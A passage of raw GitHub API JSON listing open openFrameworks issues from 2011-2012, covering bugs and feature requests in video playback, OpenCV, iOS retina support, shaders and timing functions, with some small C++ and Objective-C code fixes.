reloading","html_url":"https://github.com/openframeworks/openFrameworks/issues/495","comments":0,"assignee":null,"updated_at":"2011-03-09T16:17:56Z","body":"http://www.openframeworks.cc/forum/viewtopic.php?f=7&t=5729&view=unread#unread","number":495,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/495","labels":[{"color":"b31d1d","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug"}],"id":659446,"closed_at":null,"created_at":"2011-03-09T16:17:56Z"},{"milestone":null,"state":"open","user":{"gravatar_id":"84c985e7168027f833fd837f3afd9f3e","url":"https://api.github.com/users/arturoc","login":"arturoc","id":48240,"avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"GLUT 007 hack","html_url":"https://github.com/openframeworks/openFrameworks/issues/491","comments":0,"assignee":null,"updated_at":"2011-03-04T14:44:53Z","body":"it seems that some commented defines are still being preprocessed and making gdb behave weird:\r\n\r\nhttp://www.openframeworks.cc/forum/viewtopic.php?f=4&t=5602&view=unread#unread","number":491,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/491","labels":[{"color":"b31d1d","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug"}],"id":646846,"closed_at":null,"created_at":"2011-03-04T14:44:53Z"},{"milestone":null,"state":"open","user":{"gravatar_id":"84c985e7168027f833fd837f3afd9f3e","url":"https://api.github.com/users/arturoc","login":"arturoc","id":48240,"avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"close corners on basic shapes?","html_url":"https://github.com/openframeworks/openFrameworks/issues/490","comments":0,"assignee":null,"updated_at":"2011-03-03T16:35:17Z","body":"http://www.openframeworks.cc/forum/viewtopic.php?f=8&t=5678&view=unread#unread\r\n\r\nperhaps use style.linewith? won't work if you use glLineWidth though","number":490,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/490","labels":[{"color":"b31d1d","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug"}],"id":643861,"closed_at":null,"created_at":"2011-03-03T16:35:17Z"},{"milestone":null,"state":"open","user":{"gravatar_id":"893ec14dc008e3774afe5841115920d6","url":"https://api.github.com/users/jonbro","login":"jonbro","id":1597,"avatar_url":"https://secure.gravatar.com/avatar/893ec14dc008e3774afe5841115920d6?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"ofOrientation incompatible with iOS addon","html_url":"https://github.com/openframeworks/openFrameworks/issues/486","comments":0,"assignee":{"gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","url":"https://api.github.com/users/julapy","login":"julapy","id":331382,"avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"updated_at":"2012-03-10T04:50:03Z","body":"the existing iOS orientation methods are not compatible with the virtual functions that they inherit from. The new virtuals use a ofOrientation enum, and the old functions use ints.\r\n\r\nThis issue was introduced in https://github.com/openframeworks/openFrameworks/commit/38011d54","number":486,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/486","labels":[{"color":"2babad","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/iOS","name":"iOS"},{"color":"b31d1d","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug"}],"id":635112,"closed_at":null,"created_at":"2011-02-28T18:14:04Z"},{"milestone":{"state":"open","description":"","title":"0073 Release","due_on":"2012-07-30T07:00:00Z","closed_issues":0,"open_issues":5,"number":6,"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/6","creator":{"gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":62090,"created_at":"2011-12-03T15:37:49Z"},"state":"open","user":{"gravatar_id":"e5d92e48e175112e9df112e2418bd528","url":"https://api.github.com/users/kylemcdonald","login":"kylemcdonald","id":157106,"avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"grabFrame/idleFrame deprecation","html_url":"https://github.com/openframeworks/openFrameworks/issues/484","comments":12,"assignee":{"gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"updated_at":"2012-04-24T21:04:32Z","body":"it would be nice to start deprecating grabFrame() and idleFrame() (but maybe wait a couple years to actually remove them) , and change the examples to only use update() and isFrameNew().","number":484,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/484","labels":[{"color":"db6a1f","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core"},{"color":"37c200","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy"}],"id":613171,"closed_at":null,"created_at":"2011-02-20T17:56:02Z"},{"milestone":null,"state":"open","user":{"gravatar_id":"ace632f74988653fdbde09225134bfdd","url":"https://api.github.com/users/nemik","login":"nemik","id":62301,"avatar_url":"https://secure.gravatar.com/avatar/ace632f74988653fdbde09225134bfdd?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"ofVideoPlayer bug when loading subsequent movies after the first one","html_url":"https://github.com/openframeworks/openFrameworks/issues/475","comments":0,"assignee":null,"updated_at":"2011-02-14T17:11:08Z","body":"Within 0062, inside libs/openFrameworks/video/ofVideoPlayer.cpp on line 314 there is a check for height and width not being 0, then \"bDoWeAlreadyHaveAGworld = true;\" is set. However, this prevents other movies after the first from being loaded into that instance of ofVideoPlayer. \r\nI have posted about this in the forum with a fix (to just remove that check) here: http://www.openframeworks.cc/forum/viewtopic.php?f=8&t=5222\r\n\r\nInside the latest code, it is within ofQuickTimePlayer.cpp https://github.com/openframeworks/openFrameworks/blob/master/libs/openFrameworks/video/ofQuickTimePlayer.cpp#L281.","number":475,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/475","labels":[{"color":"db6a1f","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core"},{"color":"b31d1d","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug"}],"id":598097,"closed_at":null,"created_at":"2011-02-14T17:11:08Z"},{"milestone":null,"state":"open","user":{"gravatar_id":"5fa1d3aa502b308b8a3ae814fb88ac04","url":"https://api.github.com/users/danomatika","login":"danomatika","id":480637,"avatar_url":"https://secure.gravatar.com/avatar/5fa1d3aa502b308b8a3ae814fb88ac04?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"object init/load state is not consistently testable","html_url":"https://github.com/openframeworks/openFrameworks/issues/463","comments":0,"assignee":null,"updated_at":"2011-02-07T19:58:23Z","body":"I like to be able to know when an object has successfully initialized or loaded and OF provides for this, for the most part, but in an inconsistent manner ie\r\n\r\nofVideoGrabber::initGrabber() returns a bool, but ofVideoGrabber:bInitialized is protected and therefore not accessible\r\n\r\nwhile\r\n\r\nofTrueTypeFont::bLoadedOk is public, but ofTrueTypeFont::loadFont() returns void\r\n\r\nand\r\n\r\nofImage::loadImage() returns a bool and ofLoadImage::bAllocated() returns a bool, yet ofImage::setFromPixels() returns void\r\n\r\nI propose all loadable/initable objects have loading functions which always return a bool and a testable function (isInited(), isLoaded(), etc) for use after loading. Ideally, the testable functions would always be named the same ie myImage.isLoaded(), myVideoGrabber().isLoaded(), myFont.isLoaded() but of course a general name may not apply to all situations (myVideoGrabber.isInited() probably makes more sense).\r\n\r\nHell, all the load functions could be overloaded ie ofImage::load(string filename), ofImage::load(ofPixels pixels), ofImage::load(unsigned char* pixels) across different objects, ofTrueTypeFont::load(string filename), ofVideoGrabber::load(int w, int h, int deviceID). This consistency looks nice to anal me. but might be confusing to newbies and of course would break old code (unless wrapped for legacy compatibility). It seems a little annoying that every objects seems to have it's own way of checking this and that ...","number":463,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/463","labels":[{"color":"db6a1f","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core"},{"color":"37c200","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy"}],"id":581395,"closed_at":null,"created_at":"2011-02-07T19:58:23Z"},{"milestone":null,"state":"open","user":{"gravatar_id":"8022cb5f529975afbc64cc9312008d8c","url":"https://api.github.com/users/nardove","login":"nardove","id":277690,"avatar_url":"https://secure.gravatar.com/avatar/8022cb5f529975afbc64cc9312008d8c?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"OpenCV cvSobel() not working with latest master branch","html_url":"https://github.com/openframeworks/openFrameworks/issues/462","comments":0,"assignee":null,"updated_at":"2011-02-07T15:58:19Z","body":"Hi,\r\n\r\nI get the following error:\r\n// INIT OF ERROR\r\nOF_WARNING: ofBaseVideoPlayer::setPixelFormat not implemented\r\nOpenCV Error: Assertion failed (src.size() == dst.size() && src.channels() == dst.channels() && ((src.depth() == CV_8U && (dst.depth() == CV_16S || dst.depth() == CV_32F)) || (src.depth() == CV_32F && dst.depth() == CV_32F))) in cvSobel, file /Users/theo/Documents/CODE/__OPENFRAMEWORKS/gitOF/__BuildAllLibs/OpenCV-2.2.0/modules/imgproc/src/deriv.cpp, line 347\r\nterminate called after throwing an instance of 'cv::Exception'\r\n what(): /Users/theo/Documents/CODE/__OPENFRAMEWORKS/gitOF/__BuildAllLibs/OpenCV-2.2.0/modules/imgproc/src/deriv.cpp:347: error: (-215) src.size() == dst.size() && src.channels() == dst.channels() && ((src.depth() == CV_8U && (dst.depth() == CV_16S || dst.depth() == CV_32F)) || (src.depth() == CV_32F && dst.depth() == CV_32F)) in function cvSobel\r\n// END OF ERROR\r\n\r\nWhen I try to call the cvSobel method like this:\r\ncvSobel( grayImage.getCvImage(), grayImage.getCvImage(), 0, 1, 3 );\r\n\r\nThis works fine in 0062.\r\n\r\nCheers\r\n- rS","number":462,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/462","labels":[{"color":"b31d1d","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug"}],"id":580717,"closed_at":null,"created_at":"2011-02-07T15:58:19Z"},{"milestone":null,"state":"open","user":{"gravatar_id":"5fa1d3aa502b308b8a3ae814fb88ac04","url":"https://api.github.com/users/danomatika","login":"danomatika","id":480637,"avatar_url":"https://secure.gravatar.com/avatar/5fa1d3aa502b308b8a3ae814fb88ac04?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"get number of input devices and device IDs from ofVideoGrabber","html_url":"https://github.com/openframeworks/openFrameworks/issues/461","comments":0,"assignee":null,"updated_at":"2011-02-07T19:38:51Z","body":"Currently, the ofVideoGrabber can list devices to stdout, but does not return the number of available devices. I propose that either listDevices() return an int or a new function be added, something like getNumDevices() or a getDeviceNums() which returns a vector of valid device ids. This could be related to Arturo's Issue where the devices could be retrieved as strings. I think it makes sense to have these as static functions so that you could open all available cameras into an Array of ofVideoGrabbers by retrieving the number of devices and their ids to open them.","number":461,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/461","labels":[{"color":"db6a1f","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core"},{"color":"622425","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature"}],"id":580556,"closed_at":null,"created_at":"2011-02-07T15:24:21Z"},{"milestone":null,"state":"open","user":{"gravatar_id":"e5d92e48e175112e9df112e2418bd528","url":"https://api.github.com/users/kylemcdonald","login":"kylemcdonald","id":157106,"avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"saveImage() and other save operations should create missing directories","html_url":"https://github.com/openframeworks/openFrameworks/issues/460","comments":8,"assignee":{"gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","url":"https://api.github.com/users/ofTheo","login":"ofTheo","id":144000,"avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"updated_at":"2012-03-08T15:56:48Z","body":"i feel like it happens relatively often where i try to save an image (for example) and the parent directories don't exist, so it just fails without really saying anything.\r\n\r\nit would be nice if the dir(s) were just created automatically for you.","number":460,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/460","labels":[{"color":"db6a1f","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core"},{"color":"b31d1d","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug"}],"id":579790,"closed_at":null,"created_at":"2011-02-07T07:52:25Z"},{"milestone":null,"state":"open","user":{"gravatar_id":"e5d92e48e175112e9df112e2418bd528","url":"https://api.github.com/users/kylemcdonald","login":"kylemcdonald","id":157106,"avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"ofTexture::allocate not checking for unnecessary reallocation","html_url":"https://github.com/openframeworks/openFrameworks/issues/454","comments":0,"assignee":null,"updated_at":"2011-02-06T04:26:44Z","body":"ofPixels::allocate is smart in that it doesn't reallocate if you ask for the same size as what's already there. ofTexture should work the same way to avoid unnecessary overhead.","number":454,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/454","labels":[{"color":"db6a1f","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core"},{"color":"622425","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature"}],"id":578069,"closed_at":null,"created_at":"2011-02-06T04:26:44Z"},{"milestone":null,"state":"open","user":{"gravatar_id":"e5d92e48e175112e9df112e2418bd528","url":"https://api.github.com/users/kylemcdonald","login":"kylemcdonald","id":157106,"avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"ofViewport doesn't work with ofSetOrientation","html_url":"https://github.com/openframeworks/openFrameworks/issues/449","comments":0,"assignee":null,"updated_at":"2011-02-02T00:03:09Z","body":"maybe a generic 'transformer' function would handle both this and mouse coordinates, and anything else? ofPoint ofGetAsbolutePosition(x,y)?","number":449,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/449","labels":[{"color":"db6a1f","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core"},{"color":"622425","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature"}],"id":568540,"closed_at":null,"created_at":"2011-02-02T00:03:09Z"},{"milestone":null,"state":"open","user":{"gravatar_id":"e5d92e48e175112e9df112e2418bd528","url":"https://api.github.com/users/kylemcdonald","login":"kylemcdonald","id":157106,"avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"no way to get imageType of ofVideoGrabber","html_url":"https://github.com/openframeworks/openFrameworks/issues/446","comments":0,"assignee":null,"updated_at":"2011-01-31T19:26:41Z","body":"ofVideoGrabber has getOFPixels in the .h, but it isn't implemented in the .cpp.\r\n\r\nmaybe this is just a signal that ofPixels stuff needs to be resolved soon... :) i'd be glad to help with this if possible.","number":446,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/446","labels":[{"color":"db6a1f","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core"},{"color":"b31d1d","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug"},{"color":"622425","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature"}],"id":565122,"closed_at":null,"created_at":"2011-01-31T19:26:41Z"},{"milestone":null,"state":"open","user":{"gravatar_id":"e5d92e48e175112e9df112e2418bd528","url":"https://api.github.com/users/kylemcdonald","login":"kylemcdonald","id":157106,"avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"ofGetElapsedTimeMillis returns an int instead of unsigned long","html_url":"https://github.com/openframeworks/openFrameworks/issues/428","comments":0,"assignee":null,"updated_at":"2011-01-28T06:28:01Z","body":"the start time is stored internally as an unsigned long, but ofGetElapsedTimeMillis returns it as an int. ofGetElapsedTimef also does calculations using time as an int. this means time wraps around every (2^31 - 1) milliseconds in days = 24.8 days.\r\n\r\nas an unsigned long it would be (2^64 - 1) milliseconds in years = 584 million years :)","number":428,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/428","labels":[{"color":"db6a1f","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core"},{"color":"b31d1d","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug"},{"color":"65a300","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bitesize","name":"bitesize"}],"id":558215,"closed_at":null,"created_at":"2011-01-28T06:28:01Z"},{"milestone":null,"state":"open","user":{"gravatar_id":"4fc88ba881fee72fc4c5de473dc2ebbf","url":"https://api.github.com/users/NickHardeman","login":"NickHardeman","id":142694,"avatar_url":"https://secure.gravatar.com/avatar/4fc88ba881fee72fc4c5de473dc2ebbf?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"Check ofShader Texture Wrap Parameters","html_url":"https://github.com/openframeworks/openFrameworks/issues/424","comments":1,"assignee":null,"updated_at":"2011-12-02T21:05:54Z","body":"I thought checking for custom texture wrapping in ofShader might be useful. Not sure how to add a label to this :/\n\n#include ofGraphics.h\n\nvoid setUniformTexture(const char* name, ofBaseHasTexture& img, int textureLocation=-1);\nvoid setUniformTexture(const char* name, ofTexture& img, int textureLocation=-1);\n\nvoid ofShader::setUniformTexture(const char* name, ofTexture& tex, int textureLocation) {\n\tif(bLoaded) {\n\t\t\n\t\tGLfloat wrapS = -1;\n\t\tGLfloat wrapT = -1;\n\t\t\n\t\tif (ofGetUsingCustomTextureWrap()) {\n\t\t\tglGetTexParameterfv(GL_TEXTURE_2D, GL_TEXTURE_WRAP_S, &wrapS);\n\t\t\tglGetTexParameterfv(GL_TEXTURE_2D, GL_TEXTURE_WRAP_T, &wrapT);\n\t\t}\n\t\t\n\t\tofTextureData texData = tex.getTextureData();\n\t\tif (textureLocation < 0) textureLocation = texData.textureID;\n\t\tglActiveTexture(GL_TEXTURE0 + textureLocation);\n\t\tglEnable(texData.textureTarget);\n\t\t\n\t\tif(wrapS > 0) glTexParameterf(GL_TEXTURE_2D, GL_TEXTURE_WRAP_S, wrapS);\n\t\tif(wrapT > 0) glTexParameterf(GL_TEXTURE_2D, GL_TEXTURE_WRAP_T, wrapT);\n\t\t\n\t\tglBindTexture(texData.textureTarget, texData.textureID);\n\t\tglDisable(texData.textureTarget);\n\t\tsetUniform1i(name, texData.textureID);\n\t\tglActiveTexture(GL_TEXTURE0);\n\t}\n}","number":424,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/424","labels":[{"color":"db6a1f","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core"},{"color":"622425","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature"}],"id":556923,"closed_at":null,"created_at":"2011-01-27T19:43:31Z"},{"milestone":null,"state":"open","user":{"gravatar_id":"84c985e7168027f833fd837f3afd9f3e","url":"https://api.github.com/users/arturoc","login":"arturoc","id":48240,"avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"problem with reloading movies in osx","html_url":"https://github.com/openframeworks/openFrameworks/issues/423","comments":0,"assignee":null,"updated_at":"2011-01-24T22:34:29Z","body":"http://www.openframeworks.cc/forum/viewtopic.php?f=8&t=5222","number":423,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/423","labels":[{"color":"db6a1f","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core"},{"color":"b31d1d","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug"},{"color":"2a8296","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/macOS","name":"macOS"}],"id":548302,"closed_at":null,"created_at":"2011-01-24T22:34:29Z"},{"milestone":{"state":"open","description":"","title":"0072 Release","due_on":"2012-06-25T07:00:00Z","closed_issues":21,"open_issues":81,"number":5,"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","creator":{"gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":61810,"created_at":"2011-12-02T15:29:48Z"},"state":"open","user":{"gravatar_id":"117a7eecfee7c7f7e954623fd96e1b6e","url":"https://api.github.com/users/snibbe","login":"snibbe","id":581517,"avatar_url":"https://secure.gravatar.com/avatar/117a7eecfee7c7f7e954623fd96e1b6e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"Retina display support **that doesn't crash devices!** with backward compatibility to OS 3.0","html_url":"https://github.com/openframeworks/openFrameworks/issues/421","comments":2,"assignee":{"gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","url":"https://api.github.com/users/ofTheo","login":"ofTheo","id":144000,"avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"updated_at":"2011-12-05T22:03:15Z","body":"Hi guys,\r\n\r\nI posted to the OF forum a solution back in August to support retina display with backward compatibility to pre-OS 4.0 devices:\r\n\r\nhttp://www.openframeworks.cc/forum/viewtopic.php?f=25&t=4185&start=15\r\n\r\nIf it's still outstanding, here's the solution!\r\n\r\nEAGLView.mm, initWithFrame, after the eaglLayer.drawableProperties assignment, add:\r\n\r\n if ([[UIScreen mainScreen] respondsToSelector:@selector(scale)]) {\r\n if ([[UIScreen mainScreen] scale] > 1) {\r\n // code below doesn't work on iPad 3.2 OS and below, but doesn't need to because scale is 1\r\n [self setContentScaleFactor:[[UIScreen mainScreen] scale]];\r\n }\r\n }\r\n\r\nofAppiPhoneWindow.mm, timerLoop, after [ofxiPhoneGetGLView() startRender]; add:\r\n\r\n int ofwidth = ofGetWidth();\r\n int ofheight = ofGetHeight();\r\n \r\n if ([[UIScreen mainScreen] respondsToSelector:@selector(scale)]) {\r\n ofwidth *= [[UIScreen mainScreen] scale];\r\n ofheight *= [[UIScreen mainScreen] scale];\r\n }\r\n\r\nthen change the glViewport calls:\r\n\r\n\t// this could be taken out and included in ofAppBaseWIndow\r\n\tif(orientation == OFXIPHONE_ORIENTATION_PORTRAIT || orientation == OFXIPHONE_ORIENTATION_UPSIDEDOWN)\r\n\t\tglViewport( 0, 0, ofwidth, ofheight );\r\n\telse\r\n\t\tglViewport( 0, 0, ofheight, ofwidth );","number":421,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/421","labels":[{"color":"db6a1f","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core"},{"color":"b31d1d","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug"},{"color":"622425","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature"},{"color":"2a8296","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/macOS","name":"macOS"}],"id":548070,"closed_at":null,"created_at":"2011-01-24T20:52:18Z"},{"milestone":null,"state":"open","user":{"gravatar_id":"bea30676dca310e7f38269f245214944","url":"https://api.github.com/users/elliotwoods","login":"elliotwoods","id":328294,"avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"something to wrap glMultMatrixf","html_url":"https://github.com/openframeworks/openFrameworks/issues/418","comments":0,"assignee":null,"updated_at":"2011-01-22T15:57:37Z","body":"suggestions:\r\n\r\n ofPopMatrix(ofMatrix4x4 m)\r\n\r\n ofMultMatrix(ofMatrix4x4 m)\r\n\r\n ofMatrix4x4::apply();\r\n ofMatrix4x4::push();","number":418,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/418","labels":[{"color":"db6a1f","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core"},{"color":"622425","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature"}],"id":543729,"closed_at":null,"created_at":"2011-01-22T15:57:37Z"},{"milestone":null,"state":"open","user":{"gravatar_id":"bea30676dca310e7f38269f245214944","url":"https://api.github.com/users/elliotwoods","login":"elliotwoods","id":328294,"avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"3D isn't scale invariant in certain parts","html_url":"https://github.com/openframeworks/openFrameworks/issues/417","comments":0,"assignee":null,"updated_at":"2011-01-22T15:24:07Z","body":"e.g.\r\n\r\n void ofEasyCam::reset() {\r\n\ttarget.resetTransform();\r\n\tdistance = 100;\r\n }\r\n\r\nofNode's\r\n\tvirtual void customDraw() {\r\n\t\tofBox(10);\r\n\t\tofDrawAxis(20);\r\n\t}\r\n\r\nsuggestions:\r\n\r\nglobal variable called something like 'base3DScaleFactor = 10.0f' which will affect all of these current constant scale factors","number":417,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/417","labels":[{"color":"db6a1f","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core"},{"color":"622425","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature"}],"id":543694,"closed_at":null,"created_at":"2011-01-22T15:24:07Z"},{"milestone":null,"state":"open","user":{"gravatar_id":"96c91dba0113ea847ee43b0961d24b3a","url":"https://api.github.com/users/vanderlin","login":"vanderlin","id":149997,"avatar_url":"https://secure.gravatar.com/avatar/96c91dba0113ea847ee43b0961d24b3a?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"Simulator not working with any examples ","html_url":"https://github.com/openframeworks/openFrameworks/issues/414","comments":3,"assignee":{"gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","url":"https://api.github.com/users/julapy","login":"julapy","id":331382,"avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"updated_at":"2012-03-10T05:00:35Z","body":"Getting this error after the app launches in simulator mode \r\n\r\nDetected an attempt to call a symbol in system libraries that is not present on the iPhone:\r\n\r\n","number":414,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/414","labels":[{"color":"db6a1f","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core"},{"color":"2babad","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/iOS","name":"iOS"},{"color":"b31d1d","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug"}],"id":539979,"closed_at":null,"created_at":"2011-01-20T20:17:35Z"},{"milestone":{"state":"open","description":"","title":"0072 